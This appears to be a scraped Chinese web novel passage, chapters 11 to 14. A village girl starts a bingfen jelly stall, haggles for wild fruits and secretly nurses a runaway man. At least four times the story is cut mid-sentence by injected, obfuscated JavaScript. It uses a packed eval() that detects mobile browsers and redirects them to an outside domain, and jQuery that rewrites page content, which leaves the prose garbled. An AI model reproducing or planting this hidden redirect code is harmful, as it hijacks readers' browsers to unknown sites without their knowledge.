好安也昂头细看着，小小的果子被一层纸一样的东西包裹着，乍一看像灯笼一样。 “这东西和灯笼果果长的真像。” “不止像，简直一模一样啊。” “大家看仔细了，这里面就完全不一样了。”大娘慢慢地把包着果子的叶子去掉，露出里面的小果子。 接着撕开果皮，露出密密麻麻如芝麻般大小的种子，说道：“大家看清楚了没，这东西不就是山上的野草吗？这个人就是来骗钱的，大家一定要注意啊。” “真的哎，这不就是山上的假浆果吗？” “一扒就露馅。” “对啊，还瞎编说可以当药，这玩意我家猪都不爱吃。” “这人真的不要脸。” …… 人群里吵吵嚷嚷的，开口说话的人无一不向着大婶，认为汉子是个骗子，对着他指指点点。 汉子气急了眼，三两下收起摊子上的各种果子山货，大喊道：“我不卖了！” 说完便背起背篓气鼓鼓地走了。 当事人没了，热闹也没了，大伙便散了。 好安却逆着人群走过去。 她蹲下身捡起地上被踩烂的果子，放在手心搓了搓。 这玩意她怎么越看越觉得像冰粉籽呢？ 刚刚大伙都说山上有这个东西，要是真的话，那她又要多一条生钱的路子了。 好安把踩烂的果子揣进怀里，起身去追刚刚卖东西的人。 “那个卖灯笼草的，你停停。” “喊我？”汉子黑着脸回头，不耐烦地应了一声，正要发脾气结果发现是一个只有自己肩膀高的小姑娘，便放缓语气问道：“你喊我干嘛？” “总算追上你了，我想找你买这个，灯笼草的果子。”好安跑得上气不接下气，这具身体真是太弱了。已经每天都锻炼了，一跑居然还岔气了。 “我不卖！你们这人都说我是骗子，心眼子多，我不卖给你。”汉子抬脚要走。 摆在眼前的可是发财的机会啊！怎么能让财神爷溜走呢。 “不不不，纯属误会误会。”好安一手捂着左腰，一手拦在汉子面前，“大哥一看就是老实人，怎么可能会做骗人的事情呢。” 汉子是个来自南边山民，北上探亲路过此处，看见这里人多，便想卖点从家里虽然带来的山货，多攒点盘缠。谁想到被人当做骗子说了好久。 好安见大哥双手黝黑粗糙，深深的掌纹满是朝耕暮耘的辛苦，说道：“大家都是老实的农民，面朝黄土背朝天的，哪有这么多心眼子。这个只是各地的叫法不一样，所以才有了这样的误会。但我是坚决相信这个东西有用的！” 在好安一声声的宽慰下，高壮的汉子突然红了眼眶：“就是，我娘从小就教我不能骗人……” 汉子巴拉巴拉越说越激动，说着说着就说成了方言。 听不懂，但好安也在一旁耐心的陪着，汉子一朝她看，她就立刻给予一个肯定或者鼓励的眼神。 汉子说爽了，神色明显好转便主动卸下背篓，掀起盖在上面的布，豪爽说道：“你看你要多少，我给你老乡价！” “啊？行，多谢大兄弟。” 好安没想到还有这种意外之喜，在篓子里简单的翻了翻一共发现了四种果子。 “这个是木馒头吗？”好安指着一个婴儿拳头大小的果子问道：“好像还是母的。” 这个也可以做冰粉，和灯笼果的方法差不多。 “对！这个也是药，能直接吃，泡水泡酒，熬粥炖汤都行。”汉子见到一个识货的，眼睛瞬间亮了，一股脑地把篮子里的东西都倒在布上一种一种的介绍给好安。 “居然还有这个？”好安拿起一个像梨子一样的果子，青色的绿皮上泛着密密麻麻的白点。 没夹开的青皮核桃。 “这个里面的果肉好吃，就是要剥壳剥皮有点麻烦。但也算是药，中间的分心木能泡水煮鸡蛋，外面的青皮能入药。” “这是枣？”好安指着一个青皮的果子问道。 “是酸枣，我们叫它四眼果，也能吃，但一定要熟烂了才好吃。这个没熟，不知道怎么混进来了。”汉子把仅有的两个南酸枣挑了出来扔掉。 “也能入药？”好安算是发现了，这汉子是出来卖药的。 “对。能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950791|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治烫火伤。” 去掉一种，还剩四种。其他的都一些标标准准的草药。 好安大手一挥：“这三种果子我都要了。” “行，但我没称怎么办？” 好安：“你估个数。” “核桃贵，三文一斤，这么多不到十斤，二十七文，其他的都一文一斤，十一文，你看怎么样？” 这一大篓子，绝对不止二十斤。 “没问题，谢大兄弟。”好安笑着数了三十八个铜板递过去，又继续问道：“我后面还想买的话要怎么找你？” “还想买？你要多少？” “不少。”好安弯腰拾起地上的四眼果说：“这个我也要。灯笼草、木馒头、核桃我都要。” “啊，”汉子挠了挠头：“可四眼果现在还没熟。” 好安：“我可以等，其他的三种应该熟了吧。” 汉子点点头：“那你要多少？” 好安低头盘算了一下，四眼果，也就是南酸枣，能做成酸枣糕，但要加很多的糖。这个可以先放一放。 灯笼草和木馒头能做冰粉，天气热的时候一定受欢迎。虽然现在的太阳虽然没有非常毒辣，但中午还是晒人的，这个买卖要抓紧做起来。 核桃能做的美食就多了去，而且还耐放。 “灯笼草和木馒头各五十斤，核桃一百斤。但木馒头我要母的，最好里面的籽是细细长长的那种。” “这么多！”汉子一惊，“灯笼草没问题，木馒头我也可以帮忙挑母的，但要里面细细长长的，这个真不能确定。还有这个核桃我们家就只有两棵树，我还吃了不少，没有这么多。” “那核桃就有多少要多少，一百斤为限。” “价格呢，能不能还是一样。我给你的都是最低价了，不能再低了。” “可以。不过你要帮我运过来”好安也没想着砍价，一文一斤比她买的豆芽还便宜。 “这……”汉子面露纠结。 以往不论卖给谁，他们都是要运出来的，但这万和县离家可不止三五天的路程。 “我家还在石吉县呢。来这我还坐船了，都要八九天。”汉子挠了挠头，露出尴尬的神色。 自己刚说过价格不变，现在却动了涨价的心思，他有点羞愧，不知道该怎么开口。 “是有点远。”这个距离车马费也是一笔开支。 “你想价格如何？”好安问道。 “多给一点就行。”汉子说道，很快，又补充道：“不用很多，够吃饭就行。” 他担心自己讲多了，对方就不要了。 “这次的灯笼草和木馒头两文一斤如何？但灯笼草我只要它结的果子。” “好好好。”汉子满口答应，多出一百文足够路上吃饭了。 “这些要我帮你送回家吗？”汉子对好安立马热情起来。 “不用。” “对了，”好安忽然想到了什么，“明早和我去县衙立个契书，这样大家都安心。” “行行行。”汉子高兴地呲着大牙，头点的跟小鸡啄米似的。 没想到探个亲还能坦诚一笔生意。 12. 开业 第十二章 好安刚把东西放回家就连忙去找田桂。 自从上次一起偷偷摸摸地劁猪后，她俩关系更好了。 果然一起偷偷做“坏事”更容易拉近距离。 “好山上有这个吗？”好安拿出灯笼草的果子问道。 “有。”田桂只扫了一眼便肯定道。 “多吗？” “到处都是，但这个不能吃。”田桂看着好安强调道：“它只是和浆果长得像，我小时候也当成浆果还摘过，其实里面都是籽，没法吃。” “这个我知道，但我想摘点。你知道好山上哪处长得多？” “哪处多我还真不确定，但你要的不多的话我家就有。”说着田桂领着好安来到猪圈前，指着一旁的草说道：“都是。” 猪圈旁的灯笼草长得极为茂盛，椭圆的叶子间，缀着一个又个绿灯笼样的果子。 是这个，没错。 好安万万没想到这东西可真不挑地方。 “但它还没熟，你这个熟的哪来的？” “我买的。” 田桂眼里露出一丝复杂，随即又变为释然，拍了拍好安的肩膀，说道：“没事，再过十来天就熟了。你要是喜欢我家的都留给你。” ———— “姐姐，这是什么？”好昕一进家门就看见门边一堆果子。 “能变成好吃的东西。”好安坐在院子里把灯笼草和木馒头切开取籽。 这两种果子的籽都是做冰粉的原料。 灯笼草也叫假酸浆可以做透明的冰粉，木馒头可以做浅黄色的冰粉。 二者颜色不同，好安便将他们分开了。 很快桌上果皮一点点变多，果子一点点变少，十多斤的果子不知不觉就取完籽。 取完籽还要晒，好安的手刚放下勺子，一阵酸疼席卷整个手臂。长时间同一个姿势，她的手又酸又疼。 好安缓了好一阵子才端动盆。 一竹筐的果子，取出来的籽加起来连一个盆都没装满，等晒干后，估计更少了。 好安连桌子上的果皮都没打算扔掉，准备拿了一块扔到鸡圈里，试试鸡吃不吃。 次日早上，好安天没亮便醒了。 来到县衙门口，她远远的就看见一汉子蹲在那，手里拿着大饼在啃。 二人很快办完契书，好安付了两百文的定金。 “你们那要是有什么其他果子或者特产可以一并带点来，有我要的我就收。” “行。” 汉子名叫刘树林，定南府石吉县刘家沟人。 刘树林捧着契书乐不停。他要赶紧写封书信回家，让家里先张罗起来。原本还打算探完亲后在姑姑家多留几日，现在怕是不行了。 “你可以带点木馒头、核桃、四眼果的苗来吗？大一点的苗，我额外付钱。” 好安昨晚睡觉前仔细想了想，她以后要做这类生意，原材料握在自己手里才稳妥。灯笼草好说，主要是其他三样，就是不知道这里种不种的活。 刘树林抬眉想了想，说道：“你们这冬天下雪吗？” 问到盲区了，好安只好模糊道：“不确定。” “木馒头应该可以，但是四眼枣可能不行，四眼枣怕冷。我下次来的时候可能是一两个月后了，你们这应该变冷了吧。” “带着吧，能不能活都要试试才知道。” “行。”刘树林点点头。 ———— 好安签完契书就早早回来了，因为院子里还晒着东西。 今天虽然天气很好，但她还是有点不放心。 她轻轻抓了抓果籽估摸着明晚就可以收了。 刚刚她回来的时候正巧看见李叔家有人进出。 她这几天还没想好用什么东西给客人装冰粉。 瓷太贵，罐太沉，一直没寻到合适的。 李叔的巧手在村里是出了名的，只要你能说出来，他就能做出来，去他家逛逛有说不定有什么新发现。 “安安，快进来坐下。”李叔媳妇刘三嫂正在扫地上的竹屑木屑，“家里还没收拾好，有点乱。”说着把好安拉倒唯一的扫干净的地方坐下。 “我来找李叔买点东西。” “行，我去喊他。” 李叔没有在做东西，在堂屋里磨刀，听见媳妇的叫唤就走出来了。 “安安想买啥？” 李叔走到院子里一个与众不同小屋前停下，擦了擦手上的水示意好安跟过来。 这个屋子是专门给李叔放东西的。 “我想买个能盛水不会漏的。”好安边走边说：“不要太大，能装的水和碗差不多。” 李叔被好安的描述逗笑了，说道：“那不就是碗吗？” 好安不好意思的挠了挠头，自己的描述好像就是碗，解释道：“碗容易碎，我想要个不容易碎的，最好再轻一点的。” 李叔停下手中动作想了想，说：“进来我给你找几个，看你有没有合意的。” “行！” 李叔从架子上拿了几个碗摆到好安面前：“这几个看看。” 好安觉得大小都挺适合的便问道：“叔，哪个最便宜？我要的多。” “这个。”李叔指着一个浅黄色的雕花竹碗说：“四文。” “这是竹子吗？”好安看着上面的纹路不像木头。 “对，竹子皮削了。” “这个一天能做几个？” 好安后天就准备去县里试卖，要不是果籽还要再晾晒一天，她明天就想去了。所以不仅要便宜，还要做得快。 “一天五六个吧，雕花比较费时间。” 五六个太少了。 “雕花费时间就不雕花，也不用削皮，只要上面不戳嘴，下面不戳手就行。” “不雕花，不去皮的话，我一天能做二十个左右。” “我先定二十个明晚来拿，行吗？” “行，没雕花的话你就一个给两文钱吧。” 好安又买了两个带盖子的木桶和一个小竹筒，一个装冰粉，一个装竹碗，小竹筒装糖水。付钱时李叔还把她小竹筒的钱给免了。 ———— 第三天早上，好安并没有早起赶路，而是等太阳出来了才慢悠悠架着牛车朝镇子去。 这两天她一有空就跟好旺叔学驾车。虽然时间短，但她天份不错，已经有模有样了。 好安没有朝集市去，而是去了镇上唯一的书院。 她早就打听好了，这家书院不包饭食，学生们每天中午都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950792|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要出来吃饭，为了能让冰粉在学院里传开，她早就有了办法。 天底下的书院一般只有两种人：家境贫寒但是有天份的人和有家底的人。 前者很少，后者才是多数。 好安瞄准的就是后者。 好安到书院门口时最好的点已经被占了。她也不慌，挨着那几个摊子摆好东西。 旁边买肉油饼的摊主见她只有两个桶，其中一个还是碗便好奇的凑过来问道：“小姑娘卖的啥？” 凑过来的人只有一个，但竖起来的耳朵却有四五双。 “冰粉。” “冰粉是什么？”肉油饼摊主好奇地眨了眨眼，她在镇上住了二十几年，冰粉这玩意还是头一回听。出于多年的经验，她立刻有了危机感。 “解暑的甜食。”好安嘴上说着话，手里的活也没停下。 说着支起一块挂布，一面写着清风冰粉，一面写着嫩凉消暑。 旗子刚挂起，好安就感受到来自四周略带戒备的目光和窃窃私语。 好安视若无睹，但轻轻掀开了盖子让肉油饼摊主瞅了一眼。 饮品啊。 肉油饼摊主顿时放下戒心，饮品弄出再多的花样也代替不了主食，这个小姑娘连都竞争对手都算不上，便立刻和好安姐姐妹妹的聊起来。 午时一过，书院准点放学，一大波学生争前恐后地涌了出来。 好明辉和朋友也挤了出来。 “我今天要去吃炒菜！为了赶功课我已经连啃了三天的馒头，再啃下去我今天就要下去见我太祖了。”三人中最胖的赵瑾轩一脸菜色，看着不像没吃好更像是没睡好。 何守文脸色也半死不活的，说话上气不接下气，仿佛神魂离体，一副我快要不行的模样。 “我去买个卷饼吧，我想把明天内容提前看看。。” “呃……”好明辉左看右看，觉得他俩目前还死不了后便抬头张望，一眼就看见了那个醒目的旗帜。 “有家新的饮品铺子，我想吃那个。” “我劝你别。还记得我和守文上次为什么被罚抄吗？就是因为尝了一家新铺子。贵就算了，难吃也忍了，最不能接受的吃到了虫子。我吐了一夜，那还有时间做功课。”赵瑾轩现在想到那顿饭还忍不住的反胃。 何守文站在旁边有气无力的跟着点头。 “这样吗？我今天还准备请客呢，要不然你们看我吃？”好明辉眼睛在赵瑾轩和何守文间扫了扫，一副十分遗憾的模样。 有人请客！ 赵瑾轩瞬间拔高胸膛，说道：“你我都是兄弟。兄弟是干什么的？两肋插刀啊。两肋插刀都不怕，还怕一饮品吗？冲！” 何守文也清了清嗓子，两眼放光道：“我怎么能让兄弟孤单一人呢？不论前面是刀山还是火海，是兄弟就要一起走！” 两人像是又活了一般，“唰”一下冲到冰粉摊前，反倒是付钱的好明辉被落在了后面。 冰粉摊前的人很少，大家对这个前所未见的东西都持观望态度，所以摊子前显得空荡荡的。 但好安并不着急，她在学院里有安排了内应。 只要产品好，一传十，十传百，总能推广开。 这不，她已经远远地看见她的内应带着两人过来了。 13. 逃犯 第十三章 “碗冰粉多少钱？”好明辉走到摊子前，装作一副和好安不认识的模样，问道。 “什么都不加的四文钱一碗，加一份糖水的五文钱一碗。”好安掀开盖子，边舀边问道：“要加糖水吗？” “加，来三份。”赵瑾轩和何守文异口同声道。 其实什么都不加也不会没有味道，好安在装冰粉的桶里兑了红糖水和少量的薄荷汁，增加了清凉感和甜味。 “好嘞。”好安麻利的舀了三碗，撒上糖水和调配好的芝麻花生红枣碎。 “我们可以端到别处吃吗？”何守文问道。 “可以，吃完把碗还回来就行。”好安笑着回道。 “看着真漂亮，就像真的冰一样透明。”何守文小心地捧着竹碗，看着里面晶莹的冰粉一晃一晃的，煞是可爱。 二人也没心思去找卷饼和炒菜了，就近在一张空位上坐下来，随便点了点。 “我，先干为敬！” 赵瑾轩先是用勺子戳了戳，发现是软的后，便用勺子搅了搅，直接像喝水一样一口喝下。 “好爽！” 冰粉在井水里浸了一夜，已经带了凉意，再加上清凉的薄荷汁，一口闷下，一股扑天盖地的凉爽从嘴里散开。 “好哥，你今天是请一次呢还是请一顿呢？” 赵瑾轩的嘴角还没舔干净就立刻变得谄媚起来。 “我要是请一顿，你是不是准备把摊子包圆。”好明辉则捧着冰粉无情送给他一个大白眼。 “兄弟懂我。” 赵瑾轩并没生气，反而拍了拍好明辉的肩膀，说道：“好哥，帮我看着座位，小弟去去就回。” 说完便举着碗冲了出去，一边跑，一边喊道：“给我再来一碗。” “这么好吃吗？”何守文还没动，他准备等吃完饭再吃，但见赵瑾轩的模样又不禁有点好奇，也想先尝尝。 “吃起来很清爽。”好明辉则十分淡定，拿着勺子小口小口的吃着。 其实这是他第二次吃，第一次他也像赵瑾轩一样十分震惊。 何守文的性子比赵瑾轩沉稳些，他学着好明辉的样子用勺子吃了一口。 冰粉柔嫩软滑，再配上提神醒脑的薄荷，流过喉咙的一刻，瞬间缓解了身上的疲惫。 何守文不语，只一味地埋头狂吃。 “好弟，守着座位，哥哥也去去就回。”何守文吃完也端着碗跑了。 隔壁的摊主正端着饭走来，看着拔腿就往别的摊子上跑的客人，一时不知道手里的饭该放还是不该放。 “他是不吃了吗？”摊主疑惑问道。 “不是，他只是去买个东西，马上就回来了。”好明辉连忙起身接过，解释道。 “好好好。”不是嫌弃他家饭就行。 等好明辉都快吃完饭了，他俩才姗姗来迟，但每人手里都捧着一份冰粉。 “你不知道幸亏我去的早，就这么一会儿队伍便排得老长了，而鄙人赵瑾轩非常幸运的排到了最后一碗。” 赵瑾轩脸上散发着得意的神情，端着竹碗非常得瑟的炫耀了一圈。 “你不是比守文先去的吗，你为什么会是最后一碗？”好明辉有些搞不懂这个先后顺序。 “第四碗。”何守文简洁说道。 好明辉一时噎住：“还得是你。” “你不懂，你不懂这一份清爽对一个胖子来说多么重要。有了它我感觉我好像瘦了，变轻盈了，甚至能在书房多做上一刻。” “我感觉你更像喝了……” 另一边。 饭点还没过，好安已经卖完了。 她今天尤其感谢好明辉带来的一个朋友，在她铺子旁直接狂炫了两碗。 他对冰粉上头的模样，简直就是个活招牌。 学生们逐渐散了，碗都被收回来了，有些还是其他摊主送回来的。 附近的摊主们见她的卖的不是主食，不影响自家生意，甚至还带了一些生意，都对她客气不少。 冰粉在学院打开销路，好安便一连卖了几日，销量最终稳定在一桶半左右。 卖得多，赚得多本是好事，但好安掂了掂剩余的冰粉籽，这还是加上田桂家的也只够她再卖三天。 现在冰粉生意正受欢迎，她可不想歇业。 自然而然，她便把注意打到了山里。好昕休假也一同去了。 好山上果然到处都是灯笼草，斜坡越往上长得越高，结的果也越多。 好安背着篓子一路埋头向前，等发现周围的灌木丛都快没过头顶时，才意识到自己走深了。 “昕昕。” “姐姐，我在这。”好昕的脑袋已经看不到了，只能听见声音。 好安循着声音朝他走去，“我们不往前走，往回走。” 再往里就容易踩到猎户挖的陷阱。 好安把两人摘的倒在一起，足足大半篓。这么多撑个七八天应该没问题。 “走这里。”好安半路看见一道明显被人踩过的痕迹，没有多想便拉着好昕沿着走。 走着走着，好安渐渐发现不对劲。 好山在村子的北边，上山要往东走，下山便是往西，但这条路看似往西，每走一步总让人觉得就快要到山脚了，实则在把他们往北带。 看着村子逐渐落在身后，好安赶紧调转方向，往西南去。 这一块好像很少有人来，绿草和灌木直挺挺地向上，十分遮挡视线。 好安除了篓子没带其他东西，只能拿根树枝敲打前面的路。 草木的根须像一张张手，半遮半露地抠着地面，坑坑洼洼极容易绊人。 好安一不小心一脚踩空摔倒，眼看整个人就要朝旁边的浅沟滑去，她连忙伸手胡乱地抓了一把，堪堪稳住了自己。 这一下要是摔进去，最少躺个十天半个月。 幸亏抓住东西了，好安重重呼出一口气，手里还下意识的握着刚刚抓住的东西。 “姐姐。”好昕一直跟在好安身后，见姐姐摔了便连忙过来扶人。 “你不要过来。姐姐没事。”好安刚准备起身，脸色却突然变了。 她抓着的东西怎么是热的？ 还没回头，好昕的声音便从上面传来。 “姐姐，这里有一个人。” 好安顾不得整理衣服，连忙起身看去。 一个骨瘦如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950793|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柴的男人晕倒在地上，周遭的草木繁盛，把他遮掩的极为隐蔽。要不是她刚刚摔倒，带歪了不少灌木，寻常路过这的人根本发现不了。 “姐姐，他一动不动，是死了吗？” 男人衣服破破烂烂，勉强蔽体，胳膊和后背上是一道叠一道的伤疤。 “没，还是热的。”说着，好安拿着树枝拨开四周的灌木，露出男人的全身。 一双红肿的脚格外醒目，同时好安脸色也微微沉了下来。 脱皮、红肿，一看就是长时间泡在高浓度的盐水里被腐蚀后的模样。 好村不临海，但好山东边的高田县却是紧挨着大海。高田县靠海吃饭，可靠的不是捕鱼而是晒盐。 大晏国盐的开采和销售都由官府和权贵把控。他们为了方便管控，常常签充罪犯为盐丁。 事不关己高高挂起。好安立刻收了树枝并把周遭的草木复原了七七八八。 看着好安的动作，好昕面露疑惑，问道：“姐姐，我们不救他吗？” “不救。”好安想都没想一口拒绝。 救一个罪犯，开玩笑呢。 好昕刚想张口问为什么，南边隐约地传来说话声。 “我们赶紧回家，今天就当什么都没看见，谁问都不要说。”说完，好安拉着好昕加快了速度。 “喂，你们俩站住。” 好安刚走没两步，一个陌生男人的声音在背后响起。 “你俩走这么快干什么？”来的人一身官吏的衣服，腰悬佩刀。他跨步向前，拦住好安和好昕的去路。 “大人，天色不早了，我们赶着回家呢。”好安搂着好昕的肩膀将他往身后藏了藏。 “你们上山干什么？”来人突然问道。 “我们来摘点果子。”好安说着解下背篓，放在地上。 幸亏不止摘了灯笼草，还摘了一些果子。 来人“啪”一下用刀打翻篓子，见里面都是些山上寻常的东西便没追着不放，转而问道：“你在山上有见到什么人吗？ “男人。”来人强调道。 好安一愣，露出一副不明所以的神情，说道：“没有。” “没有？”来人皱眉，冲着好昕抬了抬下巴，问道：“你弟弟？” “对。”好安侧了侧，露出好昕半边身子。 “他抖什么？” “小孩子，没见过世面。大人一身官威，还带着刀。别说是我弟弟，我见了大人也有几份害怕。”说着，好安抓起篓子的背绳，露出畏怯的神色。 来人没说话，狐疑地看了好安一眼，开始绕着她的四周搜查，眼看就要搜到藏着人地方，好安突然鬼使神差的来了一句。 “大人小心，那滑，旁边还有道浅沟。”刚说完，好安恨不得抽自己两耳光子。 来人迅速朝好安看去并重重地扫了她几眼。 好安抬手指了指自己满是脏泥土胳膊，摆出讨好的笑脸。 来人面上没什么变化，但动作却放缓了。 等他下去搜了一圈上来，确定周围没藏人后才对好安说道：“你可以走了。” “谢大人。”好安面露感激，但脚下丝毫不做停留，迅速离开。 14. 醒来 第十四章 “他们在找什么？”村民们坐在田埂上，看着两三个官吏在村子里进进出出。 他们不仅挨家挨户的搜，连路边长得茂盛一些的草丛都不放过。 “找人。”好安说道：“我在山上也碰见一个。” “是高田县的晒盐场在找人，听说又跑了几个。” “又？”好安不解道：“经常有人跑？” “年年都有，今年还算好的才跑了几个，有一年差点都跑光了。”说话的人是个村里的老者，头发花白，语气唏嘘，“晒盐场的活又苦又累，每天从丑时忙到申时，一天打花就要五十多次。铁打的人都有受不了的时候，谁不想跑？” “那犯了什么罪会被送去晒盐场？”好安好奇问道。 “一般都不是大罪。”老者想了想，说道：“连坐的最多，然后就是得罪人的，但缺人的时候偷鸡摸狗的也送过去。一旦进来晒盐场再想出来可就难喽。” “为什么很难逃出来？刑期结束不放人吗？” 老者笑出声来，道好安还是太年轻。 “上面为了保证盐的产量，犯人去晒盐场之前都被上了墨刑。这种刑罚一但用了就终身留痕。他们一面管着不让你出去，一面让你没脸出去，一辈子控制着你。” 好安眨了眨眼，没说话。 搜完村子，官吏们依旧沉着脸，看样子是没找到。 “大哥，还差一个姓谢的，怎么办？” “什么怎么办，继续找！”为首的官吏铁青着脸，咬牙切齿道：“他有本事这辈子都别让老子找到，否则不把他剥皮抽筋，老子就跟她姓！” 官吏五人在好村忙活了一天，却两手空空，但他们不能放弃，要是不找了，回去受罚的就是他们。 晒盐场虽然苦了些，可他们大小也是个官，有些小权利。手里随随便便漏些盐出来就能赚不少外快，是个肥差。 如今温度越来越高，正是晒盐的旺季，紧缺人手。万一上面因此事生气了，把他们一撸到底是小，大不了做个平民，反正这几年夜攒够家底了。最怕的是上头给他们安个看守不利的罪名，签充盐丁。 所以只能硬着头皮去下一个地方继续找，活要见人，死要见尸。 ———— 天色擦黑官吏们才离开，村里逐渐恢复往日的宁静，好昕这时才敢小声问道：“姐姐，我们为什么不救他。” “为什么要救？”好安反问道：“晒盐场的盐丁都是服刑的罪犯，跑了就是逃犯。窝藏逃犯可是死罪。” “我只是……他受伤了，好可怜啊。”好昕垂着脑袋，语气低落。 “我们不能根据一个人可不可怜判断他是不是坏人。”好安神色不变，语气温和中带着郑重。 “可他万一不是从晒盐场逃出来的呢？”说话间，好昕突然眼睛一亮，像是想起了什么，“姐姐，他脸上没有刺字。” 好安夹菜的手微微一顿。 是啊，那人是脏了点，但脸上确实没有刺字。难道真的不是晒盐场的逃犯？ 可那双脚她看得真真切切。蜕皮、红肿，像极了在盐田里泡过的模样。难不成是海边的渔民？ 好安面上看不出什么，心里却千回百转。 “姐姐，先生说救人一命胜造七级浮屠，我们……”好昕又说道。 “先吃饭。”好安打断他的话说道。 “哦。”好昕幸怏怏点点头。 第二天，好昕顶着个黑眼圈从床上爬起，好安也顶着个黑眼圈出现在好昕面前。 “黑眼圈怎么这么重，昨晚没睡好？”好安说得好像自己没有一样，一边把粥递过去，一边说道：“今晚早点睡。” “姐姐……”好昕还不死心，略带请求地看向好安。 “还是想救？” “嗯。他没有刺字，不是坏人。” “行，今天放学早些回来，我们进山一趟。” 好昕闻言，眼睛一亮，立马点了点头。 好安昨晚翻来覆去的想过了，毕竟是一条人命，能救还是救吧，大不了等他醒了再让他滚。 ———— 天色将晚，好安和好昕偷偷摸摸的进了山，沿着昨日下山的路，很快找到了藏人的地方。 好消息，人还在。 坏消息，发烧了。 好安将人从草丛里拖出来，准备背下山时才发现这男的个头比她高多了。 好安已经将他的胳膊搭在自己肩上，但他的小腿还在地上拖着呢。 “昕昕。”好安立马召来好昕，指挥道：“你把他两只脚提着，能提动吗？” “能。”好昕折腾了半天，最终用绳子绑住他的脚踝，扛着，两人才勉强能挪动。 “姐姐，这不是回家的路。” 好安下了山，却没有朝家的方向拐，而是去了山南边。 “不回家。” 救人已经是她最大的仁慈，怎么可能把他朝家里带。更何况还是个陌生男人。 要他是个好的，就当自己行善积德，万一他是个坏的，带回家她和好昕不得团灭。 “带回家，太危险。西南边，有个破屋，很久，没人住了，就把他，放那，离家也近。” 空气本就闷热，加上这么大一个人压在身上，好安觉得自己气都不够喘，说话也是断断续续。 这人看着皮包骨头，没想到却这么沉，日后看来也是个不安分的主。 好安憋着最后一口气，终于在要断气之前到了破屋。 “姐姐这里能住吗？”好昕看着漏风四壁，不禁有些担心。 “能。”好安把人放在之前铺好的稻草上，说道：“他现在高烧不退，需要散热，这空气流通最适合他。” 好昕不大明白，但姐姐说能住就一定能住。 好安拿出提前准备好的东西——盆、伤药、干净的水、毛巾和用金银花蒲公英等清热解毒的草药熬成的中药水。 “昕昕，你先回家把药煎上。”好安三下五除二的扒掉男人的上衣，说道：“药放在厨房桌子上，三碗水煎一碗水，好了过来告诉我就行。” “不要被人发现。”好安强调道。 好安今天卖完冰粉就立刻去了趟医馆。 现在虽然是夏天，但在林子里趴了一夜不发烧的情况少之又少。尤其他这种不知道趴了几天，还瘦骨嶙峋浑身带伤的。 果然，用到了。 但今天的冰粉也算是白卖了。她买的都是上好的药，三副就花了两百多文。 巨款！ 好安先把他身上擦洗干净，然后用中药水给他伤口消毒，最后再抹上药膏。 期间好安给他喂了不少水，又不停的用温水试擦让他的身体降温。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950794|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人渐渐有了反应，一直毫无动静的眉头轻轻皱了起来，可很快又归于平静。 “喂，醒醒，喝药了。”好安不耐烦地戳了戳男人的脸。 半天，男人还是没有睁眼，好安便捏住他的鼻子强行将药灌了下去。 “姐姐，他能活吗？” 好昕的眼皮已经开始打架，脑袋也一点一点的。 “能活！必须活！我可是垫付了两百七十文，他死了我找谁要。”好安脸色不佳。 “你明天还要上学，先回去睡觉。” 好昕回家后，破屋里静的出奇，呼吸声都像只有一个人的似的。 好安坐在旁边，守着不远处的男人。 她守的不是人，是她的钱。 直到月上中天，男人的手指动了，好安迅速凑上前去，双眼直勾勾地盯着他。 眉头动了，眼珠子动了，眼皮睁开了！ 好安突然激动起来，抢先开口说道：“醒了。” 男人神色恍惚先是看了看四周，随后点了点头，说道：“是你救了我吗？” “这个过会再说。”好安露出一个兴奋的笑容。 “我——”男人刚开口，便被好安打断：“我问你几个问题。” 男人面露疑惑，心里升起一丝防备。 好安完全没心思琢磨他的微表情，拿起一根稻草，问道：“知道这是什么吗？” “？” “稻草。”男人不解但还是做了回答。 “这个呢。”好安又掏出一个铜板。 “钱，一文钱。” “一加一等于几。” “二。” 男人话音刚落，好安安心的呼出一口气，说道：“不错呀，福大命大，没傻！” “……”男人语滞。 “你叫什么名字。”好安双手报臂，起身问道。 